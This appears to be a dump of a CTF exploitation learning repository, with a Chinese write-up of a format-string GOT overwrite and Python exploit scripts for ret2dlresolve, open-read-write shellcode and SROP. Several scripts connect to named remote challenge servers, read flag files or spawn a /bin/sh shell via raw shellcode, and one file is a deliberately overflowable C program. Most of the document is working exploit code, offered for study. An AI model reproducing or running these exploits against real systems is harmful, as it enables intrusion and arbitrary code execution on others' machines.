| char s1; // [sp+E4h] [bp-34h]@1 37 | char *i; // [sp+10Ch] [bp-Ch]@3 38 | 39 | printf("enter the file name you want to get:"); 40 | __isoc99_scanf("%40s", &s1); 41 | if ( !strncmp(&s1, "flag", 4u) ) 42 | puts("too young, too simple"); 43 | for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ) 44 | { 45 | if ( !strcmp(i, &s1) ) 46 | { 47 | strcpy(&dest, i + 40); 48 | return printf(&dest); 49 | } 50 | } 51 | return printf(&dest); 52 | } 53 | ``` 54 | 55 | + 3. dir: 遍历链表,将所有的的filename串起来输出。 56 | 57 | 58 | 一开始以为是put和dir形成了漏洞,因为put的时候可以输入40个字节长度的filename,导致dir命令在复制的时候可以溢出。后来测试后发现不可行,溢出后覆盖了其它局部变量,导致访问异常,要设置正确的值,太难了。 59 | 后来和esrever10交流的时候,说可能是`printf(&dest)`有问题,格式化字符串漏洞,马上搜了些关于格式化字符串漏洞的文章来看,发现确实是这里可以利用。见识还是太少了,仍需好好积累。 60 | 61 | ### 0x2 构造exp 62 | 借助格式化字符串漏洞,我们可以: 63 | + 1. 读取任意地址的内容 64 | + 2. 设置任意地址的内容 65 | 66 | 由于服务器开了ASLR,思路是这样的: 67 | + 1. 先读取`puts@got`的内容,得到`puts`的地址,之后通过lib中偏移量固定的方式算出`system`的地址 68 | + 2. 将`system`地址写到`puts@got`里 69 | + 3. 让程序去执行`puts('/bin/sh')`, 这时实际是执行`system('/bin/sh')` 70 | 71 | 详细代码请看[pwn3_exp.py](./pwn3_exp.py) 72 | 73 | ### 0x3 总结 74 | + 本来是直接用`%n`直接一次写4个字节,但测试的时候,发现由于要输出太多字符,程序崩溃了。后来改用`%hhn`,一次只写一个字节,分四次写入。 75 | + 如果刚好是要写的数字是0,可以换成256,由于溢出了,最后的值还是0。有了这个认识,那么可以做到在一次`printf`里使用多次`%hhn`写多个字节。 76 | + 其实`system('/bin/sh;abcdefg12334')`也可以达到效果,不用强求用`system('/bin/sh')` 77 | + 可以用$修饰符直接操作我们感兴趣的参数,例如`8$`将操作format后的第8个参数 78 | ``` 79 | int a = 1, b = 2; 80 | printf("%2$d, %1$d\n", a, b); 81 | 82 | // below is the output: 83 | // 2, 1 84 | ``` 85 | 86 | ### 0x4 参考资料 87 | + [格式化字符串漏洞简介](http://drops.wooyun.org/binary/7714) 88 | + [二进制漏洞之——邪恶的printf](http://drops.wooyun.org/binary/6259) 89 | + [SEED实验系列:格式化字符串漏洞实验 ](http://www.freebuf.com/articles/network/62473.html) 90 | + [shellcode之四:格式化串漏洞 ](http://blog.csdn.net/azloong/article/details/6158458) 91 | -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/solve.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | ''' 3 | command: 4 | get 1 ----get_file() 5 | ---输入filename 6 | ---回显带fmt的字符串content 7 | put 2 ----get_input() x2 8 | ---filename 9 | ---filecontent 10 | dir 3 ----show_dir() 11 | ''' 12 | from pwn import * 13 | p=process("./pwn3") 14 | context.log_level='debug' 15 | p.recvuntil("Name (ftp.hacker.server:Rainism):") 16 | p.sendline("rxraclhm") 17 | # p.sendline("r") 18 | print p.recvuntil("ftp>") 19 | p.sendline("put") 20 | print p.recvuntil("upload:") 21 | 22 | 23 | #printf 0804889E 24 | #get 080487F6 25 | gdb.attach(p,''' 26 | B *0x08048777 27 | B *0x080487F6 28 | B *0x0804889E 29 | ''') 30 | raw_input("sending putfile.... ") 31 | p.sendline("AAAA") 32 | print p.recvuntil("content:") 33 | p.sendline("ABAB") 34 | print p.recvuntil("ftp>") 35 | p.sendline("get") 36 | print p.recvuntil("get:") 37 | p.sendline("AAAA") 38 | print p.recvuntil("ftp>") 39 | # def putfile(filenme,content): 40 | # p.sendline("") 41 | -------------------------------------------------------------------------------- /stack/ret2dlreslove/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ret2dlreslove/.DS_Store -------------------------------------------------------------------------------- /stack/ret2dlreslove/yocto/exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | __author__ = "muhe" 3 | from zio import * 4 | 5 | #args = ['./yocto'] 6 | args=('127.0.0.1',4444) 7 | io = zio(args, timeout=100000) 8 | 9 | plt_addr = 0x080482a0 # objdump -s -j .plt yocto 10 | rel_plt_addr = 0x08048270 # objdump -s -j .rel.plt yocto 11 | dynsym_addr = 0x0804818c # objdump -s -j .dynsym yocto 12 | dynstr_addr = 0x080481fc # objdump -s -j .dynstr yocto 13 | base_addr = 0x080495C0 # glob 14 | atoi_got_plt = 0x08049548 15 | atoi_plt = 0x080482e0 16 | 17 | # fake reloc here 18 | fake_reloc_addr = base_addr + 36 # 0x80495e4 19 | reloc_offset = fake_reloc_addr - rel_plt_addr # 0x1374 20 | 21 | # fake dynsym here 22 | fake_dynsym_addr = base_addr + 60 23 | align_dynsym = 0x10 - ((fake_dynsym_addr-dynsym_addr) & 0xF) 24 | fake_dynsym_addr += align_dynsym 25 | # const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; 26 | r_info = ((fake_dynsym_addr - dynsym_addr)/0x10)<< 8 | 0x7 27 | 28 | 29 | # fake dynstr here 30 | fake_dynstr_addr = base_addr + 45 # 0x80495ed 31 | st_name = fake_dynstr_addr - dynstr_addr # 0x13f1 32 | 33 | #bin_sh_addr = base_addr + 76 # 0x804960c 34 | ''' 35 | input: 1111.2222.3333 36 | push eax 1111 37 | push edx 2222 38 | jmp ecx 3333 39 | call ecx(edx,eax) 40 | ''' 41 | 42 | payload = str(atoi_plt) #eax 43 | payload += '.' 44 | payload += str(reloc_offset) #edx 45 | payload += '.' 46 | payload += str(plt_addr) #ecx 47 | #raw_input('waiting for debugger attach...') 48 | io.gdb_hint([0x080483F5]) 49 | 50 | #payload += "AAAA" 51 | #payload += ";cat ./flag\x00" 52 | payload += ";/bin/sh\x00" 53 | payload += "\x90" * (36 - len(payload)) 54 | print "$1 --> %d" % (len(payload)) 55 | payload += l32(atoi_got_plt) #fake_reloc 56 | payload += l32(r_info) 57 | 58 | payload += "\x90"*(45 - len(payload)) # fake_dynstr_addr string: "system\x00" here 59 | payload += "system\x00" 60 | print "$2 --> %d" % (len(payload)) 61 | 62 | payload += "\x90" * (60 - len(payload)) 63 | payload += "\x90" * align_dynsym 64 | payload += l32(st_name) # fake_dynsym_addr 65 | payload += l32(0) 66 | payload += l32(0) 67 | payload += l32(0x12) 68 | 69 | print "$3 --> %d" % (len(payload)) 70 | 71 | payload += "\x90" * (80 - len(payload)) 72 | 73 | io.writeline(payload) 74 | io.interact() 75 | -------------------------------------------------------------------------------- /stack/ret2dlreslove/yocto/flag: -------------------------------------------------------------------------------- 1 | FLAG{syclover} -------------------------------------------------------------------------------- /stack/ret2dlreslove/yocto/tips.txt: -------------------------------------------------------------------------------- 1 | 比如输入: 1111.2222.3333.4444 2 | 3 | ebp-0xc #12 edx 2222 4 | ebp-0x10 #16 ecx 3333 5 | ebp-0x14 #20 eax 1111 6 | 7 | then... 8 | 9 | call exc(edx,eax) 10 | 11 | 0000| 0xbffff9dc --> 0x8ae # 2222 12 | 0004| 0xbffff9e0 --> 0x457 # 1111 13 | 0008| 0xbffff9e4 --> 0x80495c9 (".3333.4444\n") 14 | 0012| 0xbffff9e8 --> 0x457 15 | 0016| 0xbffff9ec --> 0xd05 16 | 0020| 0xbffff9f0 --> 0x8ae 17 | 18 | -------------------------------------------------------------------------------- /stack/ret2dlreslove/yocto/wushifu.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | __author__ = "o_0xJ0k3r" 3 | 4 | from zio import * 5 | io = zio(("127.0.0.1", 4444),print_write = False,print_read= False,timeout = 10000) 6 | #args = ['./yocto'] 7 | 8 | #io = zio(args, timeout=100000) 9 | plt_addr = 0x080482a0 #objdump -s -j.plt 10 | rel_plt_addr = 0x08048270 #objdump -s -j.rel.plt 11 | dynsym_addr = 0x0804818c #objdump -s -j.dynsym 12 | dynstr_addr = 0x080481fc #objdump -s -j.dynstr 13 | 14 | bass_addr = 0x080495c0 #glob 15 | 16 | fake_reloc_addr = bass_addr + 36 # 0x80495e4 17 | reloc_offset = fake_reloc_addr - rel_plt_addr #0x1374 18 | #const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); 19 | # reloc = rel_plt + relc_offset 20 | 21 | atoi_got_plt = 0x08049548 22 | atoi_plt = 0x080482e0 23 | 24 | fake_dynsym_addr = bass_addr + 60 # 0x80495fc 25 | align_dynsym = 0x10 - ((fake_dynsym_addr-dynsym_addr) & 0xF)#修正下因为是0x10对齐的 26 | fake_dynsym_addr += align_dynsym 27 | r_info = (((fake_dynsym_addr-dynsym_addr)/0x10)<<8) | 0x7 28 | # const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; 29 | # #define ELF32_R_SYM(i) ((i)>>8) 30 | # | 0x7 --> check : #define ELF32_R_TYPE(i) ((unsigned char)(i)) ;0x7 is FUNC 31 | 32 | 33 | fake_dynstr_addr = bass_addr + 45 # 0x80495ed 34 | st_name = fake_dynstr_addr - dynstr_addr 35 | # result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, \ 36 | # l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL); 37 | # result is libc base addr 38 | 39 | bin_sh_addr = bass_addr + 76 # 0x804960c 40 | 41 | print align_dynsym 42 | """ 43 | push eax 第一个点前面的aoti 44 | push edx 第二个点前面的atoi 45 | jmp ecx 第三个点前面的aoti 46 | """ 47 | payload = str(atoi_plt)#l32(bin_sh_addr)#eax 48 | payload += "." 49 | payload += str(reloc_offset)#l32(reloc_offset)#edx 50 | payload += "." 51 | payload += str(plt_addr)#l32(plt_addr)#jmp ecx 52 | 53 | 54 | payload += ";cat ./flag\x00" 55 | print len(payload) 56 | payload += "A"*(36-len(payload)) 57 | 58 | payload += l32(atoi_got_plt)#Elf32_Rel 59 | payload += l32(r_info)#Elf32_Rel 60 | 61 | payload += "A"*(45-len(payload)) 62 | payload += "system\x00" 63 | 64 | print len(payload) 65 | payload += "A"*(60-len(payload)) 66 | payload += "\x00"*align_dynsym#修正 67 | payload += l32(st_name)#Elf32_Sym 68 | payload += l32(0)#Elf32_Sym 69 | payload += l32(0)#Elf32_Sym 70 | payload += l32(0x12)#Elf32_Sym 71 | 72 | print len(payload) 73 | payload += "A"*(80-len(payload)) 74 | 75 | print payload 76 | raw_input("$") 77 | io.write(payload) 78 | print io.read(100) 79 | -------------------------------------------------------------------------------- /stack/ret2dlreslove/yocto/yocto: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ret2dlreslove/yocto/yocto -------------------------------------------------------------------------------- /stack/srop/orw64_solved/solve.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | from pwn import * 3 | # nc bamboofox.cs.nctu.edu.tw 11100 4 | host="bamboofox.cs.nctu.edu.tw" 5 | port=11101 6 | flagfile="/home/ctf/flag" 7 | context(arch="amd64") 8 | fopen=shellcraft.open(flagfile,0,0) #返回文件描述符号必定是3 9 | fread=shellcraft.read(3,'rsp',0x60) #把字符到栈上 10 | write=shellcraft.write(1,'',0x60) 11 | 12 | sc=fopen+fread+write 13 | sc=asm(sc) 14 | 15 | 16 | p=remote(host,port) 17 | print p.recvuntil("here:") 18 | p.send(sc) 19 | print p.recvuntil("}") 20 | # p.interactive() 21 | -------------------------------------------------------------------------------- /stack/srop/orw_solved/solve.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | from pwn import * 3 | # nc bamboofox.cs.nctu.edu.tw 11100 4 | host="bamboofox.cs.nctu.edu.tw" 5 | port=11100 6 | flagfile="/home/ctf/flag" 7 | 8 | fopen=shellcraft.open(flagfile,0,0) 9 | fread=shellcraft.read(3,flagfile,0x60) 10 | write=shellcraft.write(1,'',0x60) #write的第二个参数根本不影响, 11 | #在shellcraft里如果填数字的话,就asm成地址,而填字符串,就asm成先把字符压栈,然后把栈上的东西print出来 12 | sc=fopen+fread+write 13 | sc=asm(sc) 14 | 15 | 16 | p=remote(host,port) 17 | print p.recvuntil("here:") 18 | p.send(sc) 19 | print p.recvuntil("}") 20 | # p.interactive() 21 | 22 | 23 | ''' 24 | BAMBOOFOX{Congratulations_you_beat_the_orw_challenge!!} 25 | ''' 26 | -------------------------------------------------------------------------------- /stack/srop/orw_solved_solved/.gdb_history: -------------------------------------------------------------------------------- 1 | b main 2 | r 3 | checksec 4 | r 5 | r < input.txt 6 | ni 7 | ni 8 | ni 9 | ni 10 | ni 11 | ni 12 | ni 13 | ni 14 | ni 15 | ni 16 | ni 17 | ni 18 | ni 19 | ni 20 | ni 21 | ni 22 | ni 23 | ni 24 | x /wx 0x804a060 25 | x /32wx 0x804a060 26 | -------------------------------------------------------------------------------- /stack/srop/orw_solved_solved/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/srop/orw_solved_solved/core -------------------------------------------------------------------------------- /stack/srop/orw_solved_solved/input.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/srop/orw_solved_solved/input.txt -------------------------------------------------------------------------------- /stack/srop/orw_solved_solved/orw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/srop/orw_solved_solved/orw -------------------------------------------------------------------------------- /stack/srop/orw_solved_solved/orw.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/srop/orw_solved_solved/orw.idb -------------------------------------------------------------------------------- /stack/srop/orw_solved_solved/peda-session-orw.txt: -------------------------------------------------------------------------------- 1 | break main 2 | 3 | -------------------------------------------------------------------------------- /stack/srop/orw_solved_solved/solve.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/python 2 | #-*-coding:utf-8-*- 3 | import sys 4 | from pwn import * 5 | host="chall.pwnable.tw" 6 | port=10001 7 | #p=remote() 8 | print sys.argv 9 | if(len(sys.argv)>1): 10 | p=remote(host,port) 11 | else: 12 | p=process("orw") 13 | print p.recv() 14 | ''' 15 | 伪代码: 16 | char *file="home/orw/flag" 17 | sys_open(file,0,0) 18 | sys_read(3,file,0x30) 19 | sys_write(1,file,0x30) 20 | 现在我明白1,3,0之类的都是输入输出句柄之类的 21 | 22 | text:0804858A call eax ; shellcode 23 | 没有system之类给我们用 24 | 25 | 26 | tips说 27 | 28 | Read the flag from /home/orw/flag. 29 | 30 | Only open read write syscall are allowed to use. 31 | 32 | nc chall.pwnable.tw 10001 33 | 34 | 但是凭什么啊,为什么仅仅能使用这些呢,开了怎么样的保护机制 35 | 36 | ''' 37 | #????????????????????????????????????????????? 38 | #这个payload不能用,原因应该是某种机制限制了sys_exec 39 | # pay=asm(shellcraft.i386.sh()) 40 | # f=open("input.txt","w") 41 | # f.write(pay) 42 | # f.close() 43 | # p.sendline(pay) 44 | # p.interactive() 45 | 46 | shellcode = '' 47 | shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;') 48 | shellcode += asm('xchg ecx,ebx;mov bl,0x3;mov dl,0x30;int 0x80;') 49 | shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;') 50 | 51 | #这一段汇编还是要深入研究一下的 52 | asm_me='''\ 53 | xor ecx,ecx; 54 | mov eax,0x5; 55 | push ecx; 56 | push 0x67616c66; 57 | push 0x2f77726f; 58 | push 0x2f656d6f; 59 | push 0x682f2f2f; 60 | mov ebx,esp; 61 | xor edx,edx; 62 | int 0x80; 63 | xchg ecx,ebx; 64 | mov bl,0x3; 65 | mov dl,0x30; 66 | int 0x80; 67 | mov eax,0x4; 68 | mov bl,0x1; 69 | int 0x80; 70 | ''' 71 | sc=asm(asm_me) 72 | #print sc 73 | p.sendline(sc) 74 | print p.recv() 75 | -------------------------------------------------------------------------------- /stack/srop/smallest-/smallest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/srop/smallest-/smallest -------------------------------------------------------------------------------- /stack/srop/smallest-/smallest.py: -------------------------------------------------------------------------------- 1 | # -*-coding:utf-8-*- 2 | from pwn import * 3 | context.log_level = "debug" 4 | context.arch = "amd64" 5 | r = process("./smallest") 6 | syscall_addr = 0x4000BE 7 | start_addr = 0x4000B0 8 | payload = p64(start_addr) 9 | payload += p64(start_addr)#fill 10 | payload += p64(start_addr)#fill 11 | r.send(payload) 12 | raw_input("joker") 13 | #write infor leak 14 | r.send("\xb3")#write 2 start_addr last byte 15 | data = r.recv(8) 16 | data = r.recv(8) 17 | stack_addr = u64(data) 18 | print "[*]:stack:{0}".format(hex(stack_addr)) 19 | frame = SigreturnFrame() 20 | frame.rax = constants.SYS_read 21 | frame.rdi = 0 22 | frame.rsi = stack_addr 23 | frame.rdx = 0x300 24 | frame.rsp = stack_addr 25 | frame.rip = syscall_addr 26 | payload = p64(start_addr) 27 | payload += p64(syscall_addr) 28 | payload += str(frame) 29 | r.send(payload) 30 | raw_input("joker") 31 | payload = p64(0x4000B3)#fill 32 | payload += p64(0x4000B3)#fill 33 | payload = payload[:15] 34 | r.send(payload)#set rax=sys_rt_sigreturn 35 | frame = SigreturnFrame() 36 | frame.rax = constants.SYS_mprotect 37 | frame.rdi = (stack_addr&0xfffffffffffff000) 38 | frame.rsi = 0x1000 39 | frame.rdx = 0x7 40 | frame.rsp = stack_addr + 0x108 41 | frame.rip = syscall_addr 42 | payload = p64(start_addr) 43 | payload += p64(syscall_addr) 44 | payload += str(frame) 45 | payload += p64(stack_addr + 0x108 + 8) 46 | #payload += cyclic(0x100)#addr ====> start_addr + 0x108 47 | payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"#shellcode 48 | r.send(payload) 49 | raw_input("joker") 50 | payload = p64(0x4000B3)#fill 51 | payload += p64(0x4000B3)#fill 52 | payload = payload[:15] 53 | r.send(payload)#set rax=sys_rt_sigreturn 54 | r.interactive() 55 | -------------------------------------------------------------------------------- /stack/srop/smallest-/smallest2.py: -------------------------------------------------------------------------------- 1 | #! python 2 | from pwn import * 3 | context.binary = './pwn4' 4 | io = process('./pwn4') 5 | io = remote('106.75.66.195', 11006) 6 | #leak stack addr 7 | payload = p64(0x4000b0) 8 | payload += p64(0x4000b3) 9 | payload += p64(0x4000b0) 10 | io.sendline(payload) 11 | io.send('\xb3') 12 | sleep(2) 13 | LeakMsg = io.recvn(0x400) 14 | leak_addr = u64(LeakMsg[0x8:0x8+8]) 15 | log.info("leak_addr:"+hex(leak_addr)) 16 | stack_addr = leak_addr-0x500 17 | log.info("stack_addr:"+hex(stack_addr)) 18 | binsh_addr = stack_addr+0x300 19 | log.info("binsh_addr:"+hex(binsh_addr)) 20 | #write /bin/sh to stack 21 | syscall_addr = 0x4000be 22 | frame = SigreturnFrame() 23 | frame.rax = constants.SYS_read 24 | frame.rdi = 0 25 | frame.rsi = stack_addr 26 | frame.rdx = 0x400 27 | frame.rsp = stack_addr 28 | frame.rip = syscall_addr 29 | payload1 = p64(0x4000b0)+p64(syscall_addr) #signturn 30 | payload1 += str(frame) 31 | io.sendline(payload1) 32 | sleep(2) 33 | io.send(payload1[0x8:0x8+15]) 34 | sleep(2) 35 | #execve("/bin/sh") 36 | frame = SigreturnFrame() 37 | frame.rax = constants.SYS_execve 38 | frame.rdi = binsh_addr 39 | frame.rip = syscall_addr 40 | payload2 = p64(0x4000b0)+p64(syscall_addr) 41 | payload2 += str(frame) 42 | payload2 += 'a' * (0x300-len(payload2)) + '/bin/sh\x00' 43 | io.sendline(payload2) 44 | sleep(2) 45 | io.send(payload2[0x8:0x8+15]) 46 | sleep(2) 47 | io.interactive() -------------------------------------------------------------------------------- /stack/srop/srop_test/exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | #!/usr/bin/env python2 3 | from pwn import * 4 | import random 5 | context.log_level = 'debug' 6 | context.arch = 'i386' 7 | 8 | LOCAL = True 9 | 10 | env = {'LD_PRELOAD':'libc.so.6'} 11 | 12 | 13 | binsh_addr = 0x0804A024 #/bin/sh\0 14 | bss_addr = 0x0804A02E #.bss start 15 | vdso_range = range(0xf7fd8000, 0xf7fd9000, 0x1000) 16 | 17 | 18 | def main(): 19 | global p 20 | if LOCAL: 21 | p = process('./srop_test') 22 | else: 23 | p = remote('127.0.0.1',10001) 24 | 25 | global vdso_addr 26 | vdso_addr = random.choice(vdso_range) 27 | pl = "A" * 0x10c 28 | frame = SigreturnFrame(kernel='i386') 29 | frame.eax = 0xb 30 | frame.ebx = binsh_addr 31 | frame.ecx = 0 32 | frame.edx = 0 33 | frame.eip = vdso_addr + 0x416 #address of int 80h 34 | frame.esp = bss_addr 35 | frame.ebp = bss_addr 36 | frame.gs = 0x63 37 | frame.cs = 0x23 38 | frame.es = 0x2b 39 | frame.ds = 0x2b 40 | frame.ss = 0x2b 41 | ret_addr = vdso_addr + 0xbc0 42 | 43 | pl += p32(ret_addr) + str(frame) 44 | log.info("payload:{0}".format(pl)) 45 | p.recvuntil("input something you want: \n") 46 | p.sendline(pl) 47 | 48 | sleep(1) 49 | p.sendline("echo pwned!") 50 | r = p.recvuntil("pwned!") 51 | if r != "pwned!": 52 | raise Exception("Failed!") 53 | return 54 | 55 | 56 | if __name__ == '__main__': 57 | global p, vdso_addr 58 | i = 1 59 | while True: 60 | print "\nTry %d" % i 61 | try: 62 | main() 63 | except Exception as e: 64 | #print e 65 | p.close() 66 | i += 1 67 | continue 68 | print "vdso_addr: " + hex(vdso_addr) 69 | p.interactive() 70 | break 71 | -------------------------------------------------------------------------------- /stack/srop/srop_test/srop_test: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/srop/srop_test/srop_test -------------------------------------------------------------------------------- /stack/srop/srop_test/srop_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | char buf[10] = "/bin/sh\x00"; 4 | int main() 5 | { 6 | char s[0x100]; 7 | puts("input something you want: "); 8 | read(0, s, 0x400); 9 | return 0; 10 | } 11 | --------------------------------------------------------------------------------